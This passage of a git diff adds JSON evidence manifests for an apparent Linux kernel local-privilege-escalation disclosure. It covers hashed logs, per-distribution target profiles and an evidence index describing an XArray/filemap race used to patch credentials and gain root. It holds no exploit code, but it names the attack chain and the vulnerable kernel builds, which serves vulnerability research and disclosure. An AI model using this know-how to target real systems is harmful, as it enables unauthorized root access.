"ecc8451b75330109be291110540792d212314fac6620fec1d88248f17c3dce17", + "executable": false + }, + { + "source": "artifacts/dirty-crow-android-api34-x86_64-v17-100k.apk", + "path": "artifacts/dirty-crow-android-api34-x86_64-v17-100k.apk", + "role": "android_signed_probe_apk", + "sha256": "8de69dcdbd25132d2efbbc8bbb059199ed61efa790fb276a38fe9c4b757e744f", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-emulator-preflight.log", + "path": "evidence/android-api34-6.1.23-emulator-preflight.log", + "role": "android_runtime_supporting_evidence", + "sha256": "554c75ece70ae0a2fb9acd28af72ae2b7179102d86296d3d511f426f6b1d5cf1", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-status.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-status.log", + "role": "android_runtime_supporting_evidence", + "sha256": "0ba5ffd3cdf1cf3ca203795c9bcb5e888bf67cf3fe856ba3e2637c4447f3a111", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-logcat.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-logcat.log", + "role": "android_runtime_supporting_evidence", + "sha256": "bd28ae75191f94f9e094de3c85d854525fbf50660bb6b3fab4f7f593827dc04f", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-v17-20000.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-v17-20000.log", + "role": "android_complete_runtime_log", + "sha256": "7658b5a2b331be368a93001a644c95dc21621e6fbb13252990eb88236b40a6b3", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-v17-100k-incomplete.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-v17-100k-incomplete.log", + "role": "android_resource_limited_runtime_log", + "sha256": "ca0d19dcd2b6065e6e376e7ed3662e9d6b770f9890efc9c633c4d6268d292ffe", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-v17-100k-logcat.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-v17-100k-logcat.log", + "role": "android_resource_limited_runtime_log", + "sha256": "be127c0f46ace5cdd44b584c5191b01a45bf9ecf391780fc37a8fb4131b5b9a8", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-emulator-postflight.log", + "path": "evidence/android-api34-6.1.23-emulator-postflight.log", + "role": "android_runtime_supporting_evidence", + "sha256": "633ee57efed10b257a986d354dfceec093b3b6d5986600b2a82c2e5c828e81cb", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-marker-check.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-marker-check.log", + "role": "android_runtime_supporting_evidence", + "sha256": "c07133f8b6143c73867379b97c77f10a3c3361354c7d9429d3f1505175a3532a", + "executable": false + }, + { + "source": "evidence/android-api34-original-probe-incompatibility.log", + "path": "evidence/android-api34-original-probe-incompatibility.log", + "role": "android_runtime_supporting_evidence", + "sha256": "d77c64eafbb5582565f3969383fd88165352239f5a733abcb9530751c7e5e30d", + "executable": false + }, + { + "source": "evidence/android-emulator-version.log", + "path": "evidence/android-emulator-version.log", + "role": "android_runtime_supporting_evidence", + "sha256": "9a043d3e5c2b3f202d10aa1ef7798cebcbd701513e0d7bcf79940d7ba0141a25", + "executable": false + }, + { + "source": "evidence/android-ndk-clang-version.log", + "path": "evidence/android-ndk-clang-version.log", + "role": "android_runtime_supporting_evidence", + "sha256": "d2ab104fef3fb958316820993b0251ed7b697f21bef9536a4e0349c84b9d3f01", + "executable": false + }, + { + "source": "evidence/android-api34-probe-apksigner.log", + "path": "evidence/android-api34-probe-apksigner.log", + "role": "android_runtime_supporting_evidence", + "sha256": "9553c88266611df0288fd2bbbedb790376cc5289dcda7d816ee48f315673c88b", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-verification.json", + "path": "evidence/android-api34-6.1.23-untrusted-app-verification.json", + "role": "android_historical_runtime_negative", + "sha256": "8bc060bdac0390afa0b0c68516764e1f9555b9b6c3ffb237ed7015e1b01fd0f7", + "executable": false + }, + { + "source": "history/claims-dirty-crow-claims-2026-09-05-r4.json", + "path": "history/claims-dirty-crow-claims-2026-09-05-r4.json", + "role": "superseded_claim_catalog", + "sha256": "b1f0b80dc69a2c1940e52a66b17b0cbfc4781859fd8c7b1beb5df19fe20ee31a", + "executable": false + }, + { + "source": "history/xarray-lpe-evidence-index-android-api34-r1.json", + "path": "history/xarray-lpe-evidence-index-android-api34-r1.json", + "role": "superseded_evidence_index", + "sha256": "8f200091777f1a4efd62d88c0cd193ea254d9d41d264c9c5d58299596736ba73", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-kernel-corruption-verification.json", + "path": "evidence/android-api34-6.1.23-untrusted-app-kernel-corruption-verification.json", + "role": "android_kernel_corruption_verification", + "sha256": "a687c4a0ddb0ac00018cea59f19f8fed5b8ea6db816c61f1dc247d0d8601b070", + "executable": false + }, + { + "source": "reproducer/android-api34/filemap_xarray_android_v21.c", + "path": "reproducer/android-api34/filemap_xarray_android_v21.c", + "role": "android_kernel_corruption_probe_source", + "sha256": "2546beb160e7b2d1fda7ddf3a2bded88835f8902cd83a161fd2e6ba1cbd90601", + "executable": false + }, + { + "source": "artifacts/dirty-crow-android-api34-x86_64-activegate-v21.apk", + "path": "artifacts/dirty-crow-android-api34-x86_64-activegate-v21.apk", + "role": "android_kernel_corruption_probe_apk", + "sha256": "7a69752c90d15a61093f048d92f6194f3f638b67718ad523efcee988efdfb68a", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-preflight.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-preflight.log", + "role": "android_kernel_corruption_runtime_record", + "sha256": "73660069b2417edab69083d4981a9ebb446978fbf5b03b7fb3f4db9d4ddc128a", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-panic-incomplete.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-panic-incomplete.log", + "role": "android_kernel_corruption_runtime_record", + "sha256": "399f168b3e728570a9f2331653bbb1e73af34c64df1ee1b3261e32ef54438b5e", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-post-reboot.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-post-reboot.log", + "role": "android_kernel_corruption_runtime_record", + "sha256": "7ba3ee9f3dedd33109f6368ff83d72761f864d04e0337734587461d1c098d388", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-post-reboot-logcat.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-activegate-v21-post-reboot-logcat.log", + "role": "android_kernel_corruption_runtime_record", + "sha256": "bcc308c574b841fb0005c1fac8f8b4f408bc87782da1ed31e9277d6cfa8103cb", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-activegate-v21-console-ramoops-0.log", + "path": "evidence/android-api34-6.1.23-activegate-v21-console-ramoops-0.log", + "role": "android_kernel_corruption_pstore", + "sha256": "68e459c70b99ed17b68c45a5861d3ed73482cf09cd1457aaca721bad835eed4c", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-activegate-v21-dmesg-ramoops-0.log", + "path": "evidence/android-api34-6.1.23-activegate-v21-dmesg-ramoops-0.log", + "role": "android_kernel_corruption_pstore", + "sha256": "d5c51c434cf765d0d2a4f7be5dd98b8d79d480e5013ab63fb6bd8d3ca561ebce", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-activegate-v21-dmesg-ramoops-1.log", + "path": "evidence/android-api34-6.1.23-activegate-v21-dmesg-ramoops-1.log", + "role": "android_kernel_corruption_pstore", + "sha256": "397c41d14e5a97639d1007d1a0e8c2025f0e469ea77a5828adbef219d4c099ec", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-activegate-v21-pmsg-ramoops-0.log", + "path": "evidence/android-api34-6.1.23-activegate-v21-pmsg-ramoops-0.log", + "role": "android_kernel_corruption_pstore", + "sha256": "857b520805340b80c1dea0ebfeef00f7e5bc4619a45216230582f8d36c9bbfa4", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-activegate-v21-root-post-panic-diagnostics.log", + "path": "evidence/android-api34-6.1.23-activegate-v21-root-post-panic-diagnostics.log", + "role": "android_kernel_corruption_runtime_record", + "sha256": "373ddb28f074869268398fe99f752223ebd59ec22d394810632fe0deb336284e", + "executable": false + }, + { + "source": "evidence/target-matrix.json", + "path": "evidence/target-matrix.json", + "role": "portable_target_matrix", + "sha256": "c0243ac335fef0a15a6f904b99baaa1e41b77b93a7eaa7eeef43d2ceda68e191", + "executable": false + }, + { + "source": "history/claims-dirty-crow-claims-2026-09-05-r5.json", + "path": "history/claims-dirty-crow-claims-2026-09-05-r5.json", + "role": "superseded_claim_catalog", + "sha256": "cc6d854949155c056187d271d954bf80268723eae6a4239563aced12de4d0226", + "executable": false + }, + { + "source": "history/xarray-lpe-evidence-index-android-api34-r2.json", + "path": "history/xarray-lpe-evidence-index-android-api34-r2.json", + "role": "superseded_evidence_index", + "sha256": "3ae23c6ad2dc9b733705128902e27bdace629a0c6e2f4c8fcead7329e537bfcc", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-verification.json", + "path": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-verification.json", + "role": "android_controlled_spill_trial_record", + "sha256": "d3352135ac8b9df12538505dff9cf4fba1b78e57bfcba5578e9428b89fcd12e9", + "executable": false + }, + { + "source": "evidence/android-api34-v22-build.json", + "path": "evidence/android-api34-v22-build.json", + "role": "android_controlled_spill_build_record", + "sha256": "395ada616062d0bbc0d5522ab4a18e06c5556c85c11212a47c2bdfe8689cec51", + "executable": false + }, + { + "source": "evidence/android-api34-v22-apksigner.log", + "path": "evidence/android-api34-v22-apksigner.log", + "role": "android_controlled_spill_signing_log", + "sha256": "63057b8e4c09d071eb70042266f21f0bfa57a659761e01d6325baf260d154cf3", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-preflight.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-preflight.log", + "role": "android_controlled_spill_preflight", + "sha256": "51d1b7df2345a126a70e244e894bd0e94fee8d49e3e52d25047f55c09d89f642", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-51000-incomplete.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-51000-incomplete.log", + "role": "android_controlled_spill_runtime_log", + "sha256": "f450551d42582952bd9ae8afdff1f894dc770dc49f1235adc2477d8deb2003f6", + "executable": false + }, + { + "source": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-postflight.log", + "path": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-postflight.log", + "role": "android_controlled_spill_postflight", + "sha256": "9237b6591bf2894b9fb7fb26484438a3d1a58e26326ce9cd0c5fe9c629ddcc9b", + "executable": false + }, + { + "source": "reproducer/android-api34/filemap_xarray_android_v22.c", + "path": "reproducer/android-api34/filemap_xarray_android_v22.c", + "role": "android_controlled_spill_source", + "sha256": "7e1f49690c1161b664963bcc919beea554fade20d7c5b129fe9b508868f9f8f3", + "executable": false + }, + { + "source": "artifacts/dirty-crow-android-api34-x86_64-controlled-spill-v22.apk", + "path": "artifacts/dirty-crow-android-api34-x86_64-controlled-spill-v22.apk", + "role": "android_controlled_spill_apk", + "sha256": "cbbd096a9455a7d76db5b6d50787f668f2c4f09f3f6869d2e656ec4b9fb4a374", + "executable": false + } + ], + "boundary": "The original exploit reproduction remains limited to the exact Debian package-member kernel, supplied v121 initramfs, and QEMU 8.2.2 TCG geometry. The separate matched candidate-fix evidence uses source-built v6.12.105-dirtycrow-ab kernels and QEMU 10.0.11; its two fixed 5000-round misses support the deterministic root-cause selftest but do not prove universal prevention. Linux v4.20 evidence proves only the iterator primitive because the reviewed shmem multi-index producer is absent through v5.16. The retained upstream v5.17 full-chain execution and ten-round candidate-fix control both use an explicit 20 ms in-kernel scheduling intervention; they establish controlled consumer reachability, not natural-race reliability on an unmodified v5.17 kernel. On the exact Google APIs API 34 revision 13 x86-64 emulator, one clean-wipe untrusted_app run left a stale mapped shmem page one index below the source-fault range and was followed by a fatal kernel write and panic. This is exact-target kernel-corruption evidence, not a controlled page-table primitive, Android root, reliability estimate, candidate-fix result, ARM64 result, or physical-device result. A separate v22 detector completed at least 51,001 rounds, including at least 48,460 active-gate-hit rounds, without observing a controlled PTE spill, privilege escalation, crash, or terminal marker before operator termination. This is a bounded stochastic negative for one detector hypothesis, not evidence of safety and not a contradiction of the v21 corruption record." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/research-review-2026-09-05.json b/dirty-crow-xarray-lpe/framework/profiles/research-review-2026-09-05.json new file mode 100644 index 0000000..6254320 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/research-review-2026-09-05.json @@ -0,0 +1,34 @@ +{ + "schema_version": 1, + "snapshot_id": "dirty-crow-static-review-2026-09-05", + "as_of": "2026-09-05", + "review_class": "automated_static_cross_review", + "independent_execution": false, + "artifacts": [ + { + "reference": "review/dirty-crow-review-2026-09-05-portable.md", + "sha256": "0bbb758f81b7b4eb56a8c67369e4fefe0e9d0f9b95f528f5356532494669f02a", + "availability": "included", + "role": "portable_review", + "transformation": "Machine-specific review-input path prefixes were replaced by review-input// locators; prose and findings are otherwise unchanged.", + "original_sha256": "809d35972a601f410bd87e220930aea6eb3cf0ef206ab8d4cc2b62ddd604dfef" + }, + { + "reference": "review/evidence-hash-audit-2026-09-05.json", + "sha256": "4851a877c4cb7d2bfa5a34b706e29fbe45ee92e41b885a7f3bc40038c5336619", + "availability": "included", + "role": "selected_reference_hash_audit" + } + ], + "methods": [ + "Read disclosure documents, central and selected per-platform manifests, selected retained logs, framework documentation, offline validation code, CI definitions, and Graphify indexes.", + "Checked selected artifact hashes against recorded values; the retained audit is selected rather than exhaustive.", + "Inspected source and public upstream records to assess claim scope and Linux v4.20 lineage." + ], + "limitations": [ + "The reviewer did not run the research programs, rerun the test suite, or independently reproduce the vulnerability.", + "Some release archives and extracted release directories denied access and were not verified during that review.", + "Hash agreement establishes consistency with a record, not independent proof that the recorded execution occurred." + ], + "interpretation": "This record is portable evidence of a dated static cross-review. It is not an independent runtime reproduction or confirmation of exploit impact." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/rhel-10.2-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/rhel-10.2-x86_64-4k.json new file mode 100644 index 0000000..66f27a8 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/rhel-10.2-x86_64-4k.json @@ -0,0 +1,30 @@ +{ + "schema_version": 1, + "id": "rhel-10.2-x86_64-4k", + "classification": "unsupported", + "target": { + "distribution": "Red Hat Enterprise Linux", + "release": "10.2 default/base", + "kernel_release": "6.12.0-211.16.1.el10_2", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_vendor_tree", + "source_url": "https://access.redhat.com/hydra/rest/securitydata/csaf/RHSA-2026%3A59143.json", + "source_ref": "6.12.0-211.16.1.el10_2" + }, + "compatibility": { + "source_facts": [], + "capabilities": [], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": false + }, + "evidence": [], + "unsupported_reasons": [ + "Subscription-backed replacement RPM and exact package-member kernel were not acquired.", + "No clean-boot runtime proof exists for this row." + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/targets.json b/dirty-crow-xarray-lpe/framework/profiles/targets.json new file mode 100644 index 0000000..25222b9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/targets.json @@ -0,0 +1,21 @@ +{ + "schema_version": 1, + "title": "Dirty Crow validated kernel and distribution matrix", + "as_of": "2026-09-05", + "profiles": [ + "debian-6.12.105-x86_64-4k.json", + "ubuntu-7.0.0-30-x86_64-4k.json", + "fedora-7.1.10-x86_64-4k.json", + "arch-7.1.11-x86_64-4k.json", + "alpine-6.18.48-x86_64-4k.json", + "chimera-7.2.2-x86_64-4k.json", + "debian-6.18.15-backports-x86_64-4k.json", + "chromeos-r151-dedede-x86_64-4k-qemu.json", + "rhel-10.2-x86_64-4k.json", + "opensuse-leap-16.0-x86_64-4k.json", + "amazon-linux-2023-x86_64-4k.json", + "android-gki-android16-6.12-aarch64-4k.json", + "android-emulator-api34-r13-6.1.23-x86_64-4k.json" + ], + "boundary": "Runtime-confirmed rows are exact package-member/QEMU findings, not full-install or all-hardware guarantees. The ChromeOS R151 row uses an exact production recovery-kernel bzImage under QEMU with minimal userspace; it is not bare-metal Chromebook or Android ARCVM evidence. The Android Emulator row records one exact clean-boot untrusted-app kernel-corruption observation: a stale mapped shmem page one index below the source-fault range, followed by a fatal kernel write and panic. It is not a controlled page-table primitive, root proof, reliability estimate, ARM64 result, or physical-device result. Unsupported, runtime-negative, and runtime-kernel-corruption rows remain distinct." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/ubuntu-7.0.0-30-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/ubuntu-7.0.0-30-x86_64-4k.json new file mode 100644 index 0000000..8b44749 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/ubuntu-7.0.0-30-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "ubuntu-7.0.0-30-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Ubuntu", + "release": "26.04.1 LTS Desktop", + "kernel_release": "7.0.0-30-generic", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://packages.ubuntu.com/resolute-updates/linux-image-generic", + "source_ref": "7.0.0-30.30" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/xarray-lpe-evidence-index.json", + "sha256": "008fcbdb4b6feca87c38b9a356be4d0aa26391dc021797da98777f8c06ca4408" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/vendor-backports.json b/dirty-crow-xarray-lpe/framework/profiles/vendor-backports.json new file mode 100644 index 0000000..5552931 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/vendor-backports.json @@ -0,0 +1,66 @@ +{ + "schema_version": 1, + "fix_patches": [ + "../../dirty-crow-evidence/xarray-index-regression-fix.patch" + ], + "targets": [ + { + "id": "ubuntu-7.0.0-30.30", + "vendor": "Ubuntu", + "release": "resolute-updates linux 7.0.0-30.30", + "source_scope": "exact_vendor_tree", + "source": { + "kind": "git_remote", + "url": "https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/resolute", + "ref": "Ubuntu-7.0.0-30.30" + } + }, + { + "id": "debian-6.18.15-1-bpo13+1", + "vendor": "Debian", + "release": "trixie-backports linux 6.18.15-1~bpo13+1", + "source_scope": "exact_vendor_tree", + "source": { + "kind": "git_remote", + "url": "https://salsa.debian.org/kernel-team/linux.git", + "ref": "debian/6.18.15-1_bpo13+1" + } + }, + { + "id": "fedora-7.1.10-200.fc44", + "vendor": "Fedora", + "release": "Fedora 44 kernel 7.1.10-200.fc44", + "source_scope": "version_aligned_vendor_tree", + "source_note": "kernel-ark publishes kernel-7.1.10-0, not the exact -200.fc44 build tag; result must remain ambiguous until exact NVR provenance is linked.", + "source": { + "kind": "git_remote", + "url": "https://gitlab.com/cki-project/kernel-ark.git", + "ref": "kernel-7.1.10-0" + } + }, + { + "id": "arch-7.1.11.arch1-1", + "vendor": "Arch Linux", + "release": "linux 7.1.11.arch1-1", + "source_scope": "upstream_base_only", + "source_note": "Upstream base is ingested; the Arch packaging patch stack is not represented and the result must remain ambiguous.", + "source": { + "kind": "git_remote", + "url": "https://github.com/torvalds/linux.git", + "ref": "v7.1" + } + }, + { + "id": "alpine-6.18.48-r0", + "vendor": "Alpine Linux", + "release": "linux-lts 6.18.48-r0", + "source_scope": "upstream_base_only", + "source_note": "Upstream base is ingested; the Alpine aports patch stack is not represented and the result must remain ambiguous.", + "source": { + "kind": "git_remote", + "url": "https://github.com/torvalds/linux.git", + "ref": "v6.18" + } + } + ] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-current.json b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-current.json new file mode 100644 index 0000000..22a2354 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/xarray-lpe-evidence-index-current.json @@ -0,0 +1,334 @@ +{ + "schema_version": 1, + "as_of": "2026-09-05", + "title": "XArray/filemap ordinary-user local-root evidence index", + "status": "confirmed", + "severity": "high", + "cvss_3_1": { + "score": 7, + "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + "cwe": [ + "CWE-362", + "CWE-682" + ], + "strict_claim": "On the exact tested x86_64 Ubuntu 7.0.0-30, Fedora 7.1.10-200.fc44, Arch 7.1.11.arch1-1, Alpine linux-lts 6.18.48-r0, and optional Debian-backports 6.18.15 package-member kernel images under recorded QEMU/TCG geometries, an ordinary uid/gid 65534 process with no effective capabilities and no_new_privs=1 used an XArray/filemap race to obtain a controlled selected physical-RAM write, rewrite its own credentials in the initial user namespace, read a pre-existing root-only file, and create a root-owned mode-0400 file.", + "boundaries": [ + "local privilege escalation, not remote code execution", + "High, not Critical", + "root cause/crash, automated security assessment, and v2 candidate are public; no zero-day claim", + "exact package-member images and QEMU geometries, not universal Linux or full default-install reliability", + "The exact API 34 x86-64 emulator produced one clean-boot untrusted_app kernel-corruption observation: a stale mapped shmem page one index below the source-fault range, followed by a fatal kernel write and panic. No controlled page-table primitive, privilege escalation, reliability estimate, Android 16 GKI ARM64 result, or physical-device result was established", + "four of seven default matrix rows positive; Debian 6.18.15 is optional backports", + "fixed stochastic negative is supportive, not decisive prevention proof", + "upstream v5.17 full-chain execution is retained only with a 20 ms in-kernel scheduling intervention; no unmodified v5.17 reliability claim" + ], + "coverage": { + "default_matrix_positive_rows": [ + "Ubuntu", + "Fedora", + "Arch", + "Alpine" + ], + "default_matrix_positive_count": 4, + "default_matrix_rows": 7, + "additional_optional_positive": "Debian trixie-backports 6.18.15", + "complete_positive_logs": 11 + }, + "exact_poc_sources": [ + { + "variant": "v15", + "path": "reproducer/filemap_xarray_lts_full_exploit_v15_recovered.c", + "sha256": "20342e1ab6e9a059793ce63fd14ba0ef40afb38b36d14d01c1a5d00011318507", + "binary_sha256": "9b145b1ae24f6d07b62c52f9ce38798f52c6e8dafb34d22d163c432940d3efb4", + "recovery": "evidence/v15-source-recovery.json", + "historical_path": "external-historical/filemap_xarray_lts_full_exploit_v15_recovered.c", + "availability": "included", + "historical_recovery_path": "external-historical/v15-source-recovery.json" + }, + { + "variant": "v16", + "path": "reproducer/filemap_xarray_lts_full_exploit_v16_recovered.c", + "sha256": "d73ff3adff7048fc864f4ad311a5d2b32a0e8ec883650e27ae6b00705aebabcf", + "binary_sha256": "4d0a1f25c202252863c95aac6b956c620bc0a32be05facce0c16cb6a203eb4c0", + "recovery": "evidence/v16-source-recovery.json", + "historical_path": "external-historical/filemap_xarray_lts_full_exploit_v16_recovered.c", + "availability": "included", + "historical_recovery_path": "external-historical/v16-source-recovery.json" + }, + { + "variant": "v17", + "path": "reproducer/filemap_xarray_lts_full_exploit_v17_recovered.c", + "sha256": "c058c917874d8ebcd40a451631e0a319d121febae0eebd2e0939ce434c4f450f", + "binary_sha256": "5aa07d0854261475c4840b87de21d7d2387d7d41afdeb820af4ad7452b653544", + "recovery": "evidence/v17-source-recovery.json", + "historical_path": "external-historical/filemap_xarray_lts_full_exploit_v17_recovered.c", + "availability": "included", + "historical_recovery_path": "external-historical/v17-source-recovery.json" + }, + { + "variant": "clean launcher", + "path": null, + "sha256": "3f22da0c5174dc16782a6ca1eb9a9854d46823441f6278e7cf366b2f2e1dabbf", + "binary_sha256": "447d896b6560e8d745dec12be9bdb454e0296eb2d768628c488e6785f0172aa0", + "historical_path": "external-historical/filemap_xarray_init.c", + "availability": "unavailable", + "limitation": "The same-named current export has SHA-256 86d7a2c920388bf5f24a797749c30c821f53d0ba59ba14a59b53da7586401119 and is not the historical source snapshot verified under the recorded 3f22da0c... hash." + } + ], + "decisive_runtime_proof": { + "path": "evidence/lpe-proof-fedora-7.1.10-200.fc44-v17-source-exact-a.log", + "sha256": "b4f741fe8d74e7163f839d5302ad959498454f607352adcb4e1f369e9367d317", + "race_round": 4089, + "markers": [ + "uid/gid 65534; nnp=1; CapEff=0", + "PAGE_TABLE_PRIMITIVE", + "ARBITRARY_PHYSICAL_RW write_ok=1", + "CRED_PATCH", + "all IDs 0; full CapEff", + "root-only read", + "root-owned mode-0400 create", + "ACPI S5 containment after corruption; no safe process-return claim" + ], + "historical_path": "external-historical/lpe-proof-fedora-7.1.10-200.fc44-v17-source-exact-a.log", + "availability": "included" + }, + "controls": { + "fixed_5000": { + "path": "evidence/lpe-proof-debian-6.18.15-v17-source-fixed-5000-control.log", + "sha256": "576e7efefa52eb5457afe03fc4c3b5cc80c8f74b0984d444adab54bf949219b3", + "result": "PRIMITIVE_NOT_OBSERVED; child status 4; ACPI S5 containment", + "historical_path": "external-historical/lpe-proof-debian-6.18.15-v17-source-fixed-5000-control.log", + "availability": "included" + }, + "vulnerable_5000_miss": { + "path": "evidence/lpe-proof-debian-6.18.15-v17-source-exact-a.log", + "sha256": "7e8f501eebb48b2b55748f1820e998082149af25d84d237d490187195a75f7e2", + "historical_path": "external-historical/lpe-proof-debian-6.18.15-v17-source-exact-a.log", + "availability": "included" + }, + "interpretation": "stochastic misses on both builds plus compiler/config drift prevent a decisive differential" + }, + "candidate_patch": { + "path": "reproducer/xarray-index-regression-fix.patch", + "sha256": "122a1cdfb118f9d442fae9e4d5668a6020f5f58cf517da1128908c74c2d8c31b", + "status": "public v2 candidate as of 2026-09-05; no accepted commit, stable backport, or vendor shipment verified", + "historical_path": "external-historical/xarray-index-regression-fix.patch", + "availability": "included" + }, + "early_kernel_v4_20": { + "classification": "iterator_primitive_only", + "profile": "evidence/early-kernel-v4.20.json", + "profile_sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "regression_patch": "reproducer/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "regression_patch_sha256": "ce9f4278040a5cacc822406746c92790f5107533cc3e7d9828c4a75d58662b6b", + "fix_patch": "reproducer/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "fix_patch_sha256": "e5542e28e43dfe70d40f1e3455217937ed9aff35999ae1e2c9c1e5b2b6926ac8", + "vulnerable_result": "userspace: 12 to 8 instead of 16; live v4.20 kernel: 96 to 64 instead of 128 with 2 of 20,183,242 checks failing", + "fixed_result": "userspace: 12 to 16 with 21,134,890 checks passing; live v4.20 kernel: 96 to 128 with 20,183,242 checks passing", + "boundary": "This proves primitive presence in v4.20; pre-5.17 shmem lacks the demonstrated multi-index page-cache producer, and no v4.20 LPE is claimed.", + "live_kernel": { + "profile": "evidence/linux-v4.20-live-regression-verification.json", + "profile_sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3", + "vulnerable_log": "evidence/linux-v4.20-live-vulnerable.log", + "vulnerable_log_sha256": "4bea60c29261e80a4fca6591932a6dd08ae1680dbabd20cd2268fd8e531cc49b", + "fixed_log": "evidence/linux-v4.20-live-fixed.log", + "fixed_log_sha256": "99f7ef8321ec33c02ceafb0cb5feabe0908a47843ae6e9291632c486820bf77c", + "config": "evidence/linux-v4.20-live-test.config", + "config_sha256": "f5865c5a60431a23931dd675bdcfb6993e0cb96fe165ab2af7a4f181c5ac8bb4", + "evidence_class": "deterministic_selftest" + }, + "dax_analysis": { + "profile": "evidence/linux-v4.20-dax-transition-model.json", + "profile_sha256": "fa8e2aafec5805af86fec496c06407cca58add9f91f8a0675cc60615bb0d8703", + "harness": "reproducer/v420_dax_transition.c", + "harness_sha256": "f457f3453eb056dccca7ec6d6ca4e524c46e756791d653b4be3823fda2b84ac5", + "result": "Iterator regression reproduced for a modeled PMD-to-PTE value transition; no production DAX corruption or LPE chain established." + } + }, + "controlled_linux_v5_17": { + "classification": "runtime_controlled_instrumentation", + "profile": "evidence/linux-v5.17-instrumented-consumer-verification.json", + "profile_sha256": "4f2a8766ad50aa1e1bf874efdfbc608231633adb93eec210f529ded53df7ff13", + "adapted_source": "reproducer/filemap_xarray_v5.17.c", + "adapted_source_sha256": "e1e10f3a475154ef76f756b0f4a26c3427298b19552a42620f718d4474dd5785", + "instrumentation_patch": "reproducer/0005-linux-v5.17-widen-filemap-xarray-window.patch", + "trigger_patch": "reproducer/0006-linux-v5.17-userns-tmpfs-trigger.patch", + "fix_patch": "reproducer/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "vulnerable_log": "evidence/linux-v5.17-widened-vulnerable.log", + "fixed_log": "evidence/linux-v5.17-widened-fixed.log", + "result": "With a user-namespace tmpfs huge=always producer and a 20 ms widened filemap iterator window, xa_index regressed from 0x140 to 0x40 and the run reached a page-table primitive, selected physical-memory read/write, and root helper execution.", + "control": "With the candidate xas_find repair under the same widened window, no regression marker or primitive was observed in ten rounds.", + "boundary": 